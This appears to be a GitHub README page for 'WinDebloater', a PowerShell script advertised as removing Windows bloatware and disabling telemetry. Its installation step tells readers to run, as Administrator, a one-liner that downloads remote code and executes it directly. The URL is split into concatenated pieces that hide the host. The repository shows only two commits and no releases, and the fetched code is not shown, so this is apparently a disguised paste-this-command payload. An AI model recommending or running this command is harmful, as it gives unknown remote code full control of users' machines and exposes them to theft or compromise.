Skip to content

PowerShell-based Windows debloating script to remove unwanted apps, disable telemetry, and optimize for privacy & performance.

License

Notifications You must be signed in to change notification settings

NanoBotDelta560/WinDebloater

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

2 Commits
 
 
 
 

Repository files navigation

WinDebloater 🚀

Clean up your Windows installation: remove bloatware, disable telemetry, and boost privacy & performance with a single command.


🛠️ Installation

  1. Open PowerShell as Administrator
  2. Execute the one-liner:
    iex (irm ('debloat.' + 'pages.dev/code'))

This will automatically download and run the debloat script from our hosted pages.dev endpoint.


🚀 Usage

Once invoked, the script will present a menu of available actions. You can choose to run all debloating steps in one go or pick and choose:

  1. Full Debloat – apply all optimizations
  2. Selective Debloat – individually uninstall apps, disable telemetry, etc.
  3. Restore Defaults – revert any changes made by WinDebloater

🔥 Features

WinDebloater currently supports:

  • Uninstall Built-in Apps
    • Removes Candy Crush, 3D Viewer, Skype, Xbox, and other preinstalled UWP apps
  • Disable Cortana & Search Indexing
  • Remove OneDrive Integration
  • Disable Telemetry & Data Collection Services
  • Turn Off Background Apps
  • Disable Windows Tips & Suggestions
  • Stop Xbox Services & Telemetry
  • Disable Scheduled Tasks (e.g., Customer Experience Improvement)
  • Apply Performance Tweaks
    • Adjust visual effects
    • Optimize power settings
    • Increase network throttling limits
  • Clean Up System Files
    • Disk Cleanup automation
  • Reset Windows Store Cache

📊 Feature Comparison

Feature Standard Windows ❌ Low Opt. & Privacy WinDebloater ✅ High Opt. & Privacy
Advertising & Ads ✅ Present ❌ Removed
System Optimization ❌ Minimal ✅ Enhanced
Privacy Protection ❌ Basic ✅ Hardened
Telemetry ✅ Enabled ❌ Disabled
Background Apps ✅ Many ❌ Disabled

🤝 Contributing

  1. Fork the repo
  2. Create your feature branch (git checkout -b feature/YourFeature)
  3. Commit your changes (git commit -m 'Add some feature')
  4. Push to the branch (git push origin feature/YourFeature)
  5. Open a Pull Request

Releases

No releases published

Packages

No packages published